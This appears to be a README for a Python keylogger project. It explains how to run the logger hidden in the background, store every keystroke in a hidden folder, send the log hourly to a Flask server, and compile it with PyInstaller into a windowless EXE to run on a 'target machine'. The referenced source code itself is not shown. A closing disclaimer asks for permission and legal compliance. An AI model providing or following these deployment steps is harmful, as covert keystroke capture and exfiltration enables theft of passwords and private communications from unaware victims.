This project implements a keylogger in Python, (The keylogger runs in the background without displaying a console window) which logs all keystrokes to a file and periodically sends the log file to a web server.
- Python 3.x
pynputlibraryrequestslibraryflasklibrary (for the server)
-
Clone the repository or download the source code.
-
Install the required Python libraries:
pip install pynput requests flask
-
Save the keylogger script as
keylogger.py: -
Modify the server URL: Replace
'http://your-server-ip:5000/upload'with the actual URL of your web server. -
Convert the script to an EXE using PyInstaller: -> In CMD
pyinstaller --onefile --noconsole keylogger.py
it will create EXE file.
-
Save the server script as
server.py: -
Run the Flask web server:
python server.py
-
Run the web server (
server.py) on a machine with a static IP or domain name. -
Run the keylogger executable (
keylogger.exe) on the target machine.
The keylogger will log all keystrokes to a file named keylog.txt in a hidden directory in the user's home directory. Every hour, the log file will be sent to the web server.
- Explicit Permission: Always ensure you have explicit permission from the owner of the computer before running a keylogger.
- Privacy: Respect privacy and inform users about what you are doing.
- Legal Boundaries: Be aware of and comply with local laws regarding keylogging and monitoring software.
Use this knowledge responsibly and within legal boundaries.